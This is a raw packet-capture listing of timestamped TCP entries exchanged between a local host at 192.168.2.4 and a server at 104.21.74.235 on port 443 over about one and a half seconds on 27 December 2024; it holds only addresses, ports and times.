Dec 27, 2024 10:12:21.028877020 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.028892040 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.034671068 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.034688950 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.034780025 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.034790039 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.034827948 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.040652990 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.040669918 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.040739059 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.040752888 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.040787935 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.081114054 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.081131935 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.081207037 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.081233978 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.081274033 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.081283092 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.086374044 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.086390018 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.086450100 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.086462975 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.086499929 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.092397928 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.092413902 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.092457056 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.092469931 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.092495918 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.092508078 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.098298073 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.098318100 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.098370075 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.098387003 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.098419905 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.098433971 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.103914976 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.103935003 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.104007006 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.104024887 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.104063034 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.230161905 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.230179071 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.230251074 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.230259895 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.230299950 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.236109018 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.236124992 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.236172915 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.236227036 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.236237049 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.236439943 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.242031097 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.242047071 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.242113113 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.242120981 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.242158890 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.282355070 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.282372952 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.282444954 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.282458067 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.282495022 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.287662029 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.287682056 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.287744999 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.287755966 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.287798882 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.293616056 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.293633938 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.293698072 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.293711901 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.293750048 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.299566031 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.299581051 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.299674034 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.299685955 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.299737930 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.305236101 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.305250883 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.305304050 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.305313110 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.305356026 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.431606054 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.431622028 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.431679964 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.431689978 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.431708097 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.431730986 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.437616110 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.437630892 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.437684059 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.437691927 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.437716007 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.437736034 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.443516016 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.443531036 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.443578959 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.443584919 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.443614006 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.443628073 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.483943939 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.483962059 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.484072924 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.484090090 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.484134912 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.489824057 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.489841938 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.489924908 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.489933968 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.489978075 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.495839119 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.495856047 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.495929003 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.495939970 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.495985031 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.501108885 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.501127958 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.501199961 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.501210928 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.501250982 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.506680965 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.506695986 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.506778002 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.506788969 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.506829977 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.633049965 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.633068085 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.633138895 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.633147955 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.633192062 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.639074087 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.639089108 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.639157057 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.639168024 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.639206886 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.644951105 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.644967079 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.645041943 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.645060062 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.645095110 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.686012030 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.686031103 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.686121941 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.686140060 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.686184883 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.692015886 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.692047119 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.692111015 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.692123890 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.692173958 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.697283983 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.697304010 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.697375059 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.697386026 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.697427988 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.703187943 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.703203917 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.703279018 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.703289986 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.703336954 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.708880901 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.708899021 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.708967924 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.708980083 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.709019899 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.834436893 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.834460974 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.834531069 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.834539890 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.834582090 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.840450048 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.840471029 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.840562105 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.840572119 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.840627909 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.845581055 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.845629930 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.845650911 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.845660925 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.845694065 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.846337080 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.846380949 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.846388102 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.887291908 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.887325048 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.887356043 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.887368917 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.887399912 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.892455101 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.892469883 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.892513037 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.892520905 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.892530918 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.892558098 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.898438931 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.898452997 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.898520947 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.898530960 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.898559093 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.898581982 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.903739929 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.903757095 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.903825998 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.903835058 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.903872013 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.910067081 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.910082102 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.910134077 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.910140991 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:21.910166025 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:21.910185099 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.035643101 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.035672903 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.035718918 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.035728931 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.035759926 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.035778999 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.041616917 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.041637897 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.041699886 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.041708946 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.041752100 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.046916008 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.046943903 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.047012091 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.047022104 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.047048092 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.047061920 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.087835073 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.087857008 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.087920904 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.087946892 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.087977886 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.087994099 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.093965054 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.093988895 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.094041109 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.094057083 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.094104052 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.099761009 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.099781990 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.099854946 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.099868059 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.099911928 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.105140924 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.105161905 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.105211973 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.105220079 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.105261087 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.111363888 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.111385107 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.111434937 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.111444950 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.111481905 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.237180948 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.237204075 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.237243891 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.237252951 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.237288952 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.237299919 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.243050098 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.243072987 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.243109941 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.243118048 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.243148088 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.243168116 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.248359919 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.248388052 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.248442888 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.248454094 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.248481989 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.248513937 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.286442995 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.286510944 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.292434931 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.292459011 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.292507887 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.292521954 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.292552948 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.292572975 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.297799110 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.297821045 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.297864914 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.297874928 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.297902107 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.297920942 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.303709984 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.303731918 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.303790092 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.303803921 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.303854942 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.309627056 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.309649944 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.309709072 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.309720039 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.309748888 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.309765100 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.315191984 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.315213919 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.315253019 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.315260887 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.315294981 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.315308094 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.441169977 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.441193104 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.441296101 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.441313982 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.441354990 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.447159052 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.447181940 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.447232962 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.447241068 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.447285891 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.487924099 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.487946987 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.487996101 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.488007069 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.488034010 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.488059044 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.493746042 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.493766069 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.493829012 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.493837118 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.493880033 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.499113083 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.499134064 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.499180079 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.499200106 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.499216080 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.499241114 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.505023956 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.505045891 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.505098104 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.505106926 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.505146027 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.510960102 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.510982037 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.511039019 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.511049032 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:22.511092901 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:22.516623020 CET	443	49763	104.21.74.235	192.168.2.4
